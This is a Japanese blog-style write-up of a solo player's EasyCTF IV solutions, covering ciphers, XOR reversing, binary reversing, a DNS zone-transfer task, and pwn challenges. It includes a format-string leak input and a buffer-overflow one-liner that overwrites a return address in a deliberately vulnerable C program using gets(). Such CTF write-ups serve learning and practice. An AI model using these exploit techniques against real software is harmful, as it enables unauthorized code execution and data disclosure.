EasyCTF IV write-up
EasyCTF IV にチームBiPhoneから出ました(一人だけど)。2056ptsで89位でした。
楽しかった。ハリネズミ本に載っているようなpwnがあったので同級生に投げていこうかな。
以下write-up。問題数多いので10ptsや30ptsの問題は大体略していますごめんなさい。
Substitute 50pts
easyctf{THIS_IS_AN_EASY_FLAG_TO_GUESS}
で通らず1日放置してから、HERE: EASYCTF{THIS_IS_AN_EASY_FLAG_TO_GUESS} USE CAPITAL LETTERS.
をまるごと投げたら通った。は?
sed
するよりもhttp://quipqiup.com に投げたほうが早い。
$ echo 'FI! XJWCYIUSINLIGH QGLE TAMC A XCU NSAO NID EPC WEN AXM JL EIEASSF HDIGM IN JEL JXOCXGJEF. EPJL JL ASLI EPC LCWIXM HDIYSCT CZCD TAMC NID CALFWEN. PCDC: CALFWEN{EPJL_JL_AX_CALF_NSAO_EI_OGCLL} GLC WAHJEAS SCEECDL.' | sed -e 's/F/y/g' -e 's/C/e/g' -e 's/L/s/g' -e 's/H/p/g' -e 's/W/c/g' -e 's/E/t/g' -e 's/N/f/g' -e 's/A/a/g' -e 's/P/h/g' -e 's/J/i/g' -e 's/I/o/g' -e 's/O/g/g' -e 's/G/u/g' -e 's/X/n/g' -e 's/S/l/g' -e 's/D/r/g' -e 's/U/w/g' -e 's/M/d/g' -e 's/Z/v/g' -e 's/T/m/g' -e 's/Y/b/g' -e 's/T/m/g' yo! nicebowlofsoup Qust made a new flag for the ctf and is totally proud of its ingenuity. this is also the second problem ever made for easyctf. here: easyctf{this_is_an_easy_flag_to_guess} use capital letters.
Soupreme Encoder 20pts
FLAG: hexit_mate_c17c5c159e1f0cb857f2
'68657869745f6d6174655f6331376335633135396531663063623835376632'.chars.each_slice(2) { |p, q| print (p+q).to_i(16).chr }
としていたが
['68657869745f6d6174655f6331376335633135396531663063623835376632'].pack("H*")
でよかった。
Intro: Reverse Engineering 30pts
もう1回暗号化するだけだが、Pythonの扱いに慣れない…
easyctf{char_by_char_67bdFD}
https://stackoverflow.com/questions/17615414/how-to-convert-binary-string-to-normal-string-in-python3
#!/usr/bin/env python3 import binascii key = "DbitqlPo" def mystery(s): r = "" for i, c in enumerate(s): r += chr(ord(c) ^ ((i * ord(key[i % len(key)])) % 256)) return binascii.hexlify(bytes(r, "utf-8")) expected = '6503c2a125c2a768c28672431a7bc28e131e19c39e23c3aa03c3aec28bc3aac397c29b04c394c3ae41' plain = mystery(binascii.unhexlify(expected).decode('utf-8')) print(binascii.unhexlify(plain).decode('utf-8'))
format 160pts
x64でのFSB。espが指す場所にそのまま積まれている。
user95405@shell:/problems/format$ ./format Enter your name: %p %p %p %p %p %p %lx %lx %lx Your name is: 0x400a5a 0x7f8a8ea9b780 0xe 0x7f8a8ecb8700 0xe (nil) 4625f35200000000 7025207025207025 2520702520702520 Enter your secret password (in hex) 4625f352 easyctf{p3sky_f0rm4t_s7uff}
Starman 1 80pts
ナップザックDP。
#include <iostream> #include <vector> #include <algorithm> using namespace std; int r[2018], w[2018]; int dp[2018][2018]; int main() { int N, W; cin >> N >> W; for (int i = 0; i < N; i++) cin >> r[i] >> w[i]; for (int i = 0; i < N; i++) { for (int k = 0; k <= W; k++) { if (k >= w[i]) { dp[i+1][k] = max(dp[i][k], dp[i][k - w[i]] + r[i]); } else { dp[i+1][k] = dp[i][k]; } } } cout << dp[N][W] << endl; return 0; }
Liar 70pts
デバッグ情報がついているバイナリとそのソースが渡されるが、それらはダミー。逆アセンブルすると全く異なる処理が行われていることがわかる。読んでRubyに書き換えると以下のようになる。
def encode number f = [ 0x65, 0x66, 0x7d, 0x6c, 0x7f, 0x57, 0x4c, 0x4a, 0x4b, 0x4b, 0x2f, 0x21, 0x38, 0x04, 0x15, 0x08, 0x03, 0x19, 0x59, 0xf1, 0xd3, 0xe7, 0xf5, 0xce, 0xf7, 0xcd, 0xd7, 0xd9, 0xe8, 0x94, 0xa0, 0xb0, 0x87, 0x8f, 0x9a, 0xca, 0x81 ] g = [] buf = number ^ 0x58eb29 0x25.times do |i| # <----- g[i] = 0xFF & ((buf * i) ^ f[i]) end g[0x25] = 0 g.each { |x| print x.to_s(16) + ' ' } puts g.map(&:chr).join end encode gets.to_i
出力される文字はeasyctf{
なので、<---
で示したループにおいてi=1
のとき0xFF & ((number ^ 0x58eb29) ^ 0x66) = g[1] = 'a' = 0x61
になればよい。
XORをとるとnumber
は5827374とわかるので入力に与えるとFLAGが出る。
$ ruby exploit.rb 5827374 65 61 73 79 63 74 66 7b 73 74 69 6c 6c 5f 77 61 73 6e 27 74 5f 74 6f 6f 5f 62 61 64 2c 5f 72 69 67 68 74 3f 7d 0 easyctf{still_wasn't_too_bad,_right?}
Adder 80pts
radare2で見るとC++っぽいメソッド名がたくさん。
3つの数字を受け取って、その和が0x539 = 1337
になればFLAGを表示する。
~/c/e/adder $ ./adder Enter three numbers! 1337 0 0 easyctf{y0u_added_thr33_nums!}
Keyed Xor 100pts
案外苦戦した。
大量の単語が改行区切りで入ったwords.txt
から2単語選び連結した文字列と暗号文keyed_xor.txt
のXORを取るとFLAGが出るらしい。
words.txt
は20538行あるので、すべての組み合わせを試そうとすると20538 * 20537通りなので終わらない。
いろいろ悩んだ末、復号した平文がeasyctf{
で始まっていると仮定して暗号文とXORをとり、鍵を逆算してみた。
すると鍵がaggravat
で始まっていることがわかる。
$ xxd keyed_xor.txt 00000000: 0406 140b 0202 070f 0308 1217 030f 140b ................ 00000010: 0718 0e15 070b 0615 121a 1906 000b 011c ................ 00000020: 151b 181d 0016 091f 0a17 1e08 0811 1612 ................ 00000030: 1009 0200 090d 040b 0c13 0e1b 0f09 1211 ................ 00000040: 131a 1719 1d16 111d 1517 08 ........... $ irb irb(main):002:0> (0x04 ^ 'e'.ord).chr => "a" irb(main):003:0> (0x06 ^ 'a'.ord).chr => "g" irb(main):004:0> (0x14 ^ 's'.ord).chr => "g" irb(main):005:0> (0x0b ^ 'y'.ord).chr => "r" irb(main):006:0> (0x02 ^ 'c'.ord).chr => "a" irb(main):007:0> (0x02 ^ 't'.ord).chr => "v" irb(main):008:0> (0x07 ^ 'f'.ord).chr => "a" irb(main):009:0> (0x0f ^ '{'.ord).chr => "t"
aggravat
で始まる単語は5つしかないので、5 * 20537通りとなり全探索できるようになる。
encrypted = File.binread('keyed_xor.txt').bytes ['aggravated', 'aggravation', 'aggravating', 'aggravate', 'aggravations'].each do |a| File.read('words.txt').split("\n").each do |b| decrypted = '' key = a + b encrypted.each_with_index do |ch, i| decrypted += (key[i % key.size].ord ^ ch.ord).chr end puts decrypted end end
Digging for Soup 150pts
2つあったDNSの問題の一つ。キャッシュサーバが権威サーバからゾーン情報を取得するのに使われるゾーン転送要求・AXFRというものを使う。寮内のLANからはdigができないのでhttp://digwebinterface.com/を使った。
EzReverse 140pts
実行すると自身を削除してしまうので、逆アセンブルして読む。これぐらいの小さなアセンブリでも普通に1時間弱溶けてしまうので早く慣れたいなあ。
コマンドライン引数の文字をABCDE
として表すと、以下のような式が成り立つときにFLAGを表示する。
4 + D = 'o' 4 + D + 0xe = 3 + C 1 + A = 5 + E - 10 2 + B = '5' 3 + 4 + D = 5 + E
あてはまる文字列はg3zkm
になる。
$ ./executable g3zkm Now here is your flag: 10453125111114
rop1 120pts
バッファオーバフローでget_flag()
にリターンさせる。これぐらいはラクラク解けるようになってきた。
#define _GNU_SOURCE #include <stdlib.h> #include <stdio.h> #include <string.h> #include <unistd.h> void get_flag() { system("/bin/cat flag.txt"); } void get_input() { char inp[64]; gets(inp); printf("You said: %s\n", inp); } int main(int argc, char** argv) { gid_t gid = getegid(); setresgid(gid,gid,gid); get_input(); return 0; }
get_flag()
は0x400646
にある。
$ python -c 'print("\x00" * 72 + "\x46\x06\x40\x00")' | ./rop1 You said: easyctf{r0ps_and_h0ps} Segmentation fault (core dumped)
Little Language 250pts
何故解けたかさっぱりわからない。
自分がこれを解いたのは全チームのなかで5,6番目だったのだが、Discordで「解法を交換しないか」とb0bb3rという参加者からメッセージが送られてきた。どのチームかはわからないが酷い。
次のような数式っぽい画像encrypted
と、BNFのようなテキストが添付される。この2つをもとパスワードをゲットしてログインする。
S : E { ExpS $1 } | global var '=' E { GlobalVarS $2 $4 }
REDACTED
として除去されていた画像中のpasswordはl7&4C&Cg
なようだ。
$ strings password .... note: the password is l7&4C&Cg
与えられたアドレスとポートに接続すると、対話型の画面が出る。
> 3 + 5 8 > ghiehut4 Lexなんとか Error
おそらくここからログインするのだろうが、さっぱりわからないので添付されたテキストファイルを見てみる。
ExpS
はおそらくExpression, 式のことで、GlobalVarS
はグローバル変数ではないかと思った。$2
は左側のvar
の位置に入力された文字列が入り、$4
には左側にあるE
(式)の評価結果が入ると推測して入力してみる。
> global username = root .... > global password = l7&4C&Cg .... > username root
どうやら推測が当たったようだ。そして最後のログインもいろいろエスパーしたらなんか出てきた。
> login (エラー) > login username password (エラー) > signin (エラー) .... > flag EasyCTF{5m4ll_573p_53m4n71c5_4r3_fun_r16h7?}
実は上の数式のようなものは、「small-step semantics」といって、計算機科学の分野では一般的なものらしい。
http://proofcafe.org/sf/Smallstep_J.html ここに説明が書いてあるので後で読んでみたい。